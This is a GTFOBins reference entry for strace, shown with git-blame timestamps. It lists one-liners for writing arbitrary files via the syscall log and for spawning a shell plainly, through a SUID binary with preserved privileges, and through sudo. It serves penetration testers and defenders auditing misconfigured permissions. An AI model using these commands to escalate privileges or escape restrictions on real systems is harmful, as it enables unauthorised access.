GTFOBins.github.io/_gtfobins/strace.md

15 lines
602 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2021-05-03 06:23:14 +02:00
file-write:
2021-05-03 19:45:11 +02:00
- description: The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`.
2021-05-03 06:23:14 +02:00
code: |
2021-05-03 19:45:11 +02:00
LFILE=file_to_write
strace -s 999 -o $LFILE strace - DATA
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: strace -o /dev/null /bin/sh
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: ./strace -o /dev/null /bin/sh -p
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo strace -o /dev/null /bin/sh
2018-05-25 01:10:39 +02:00
---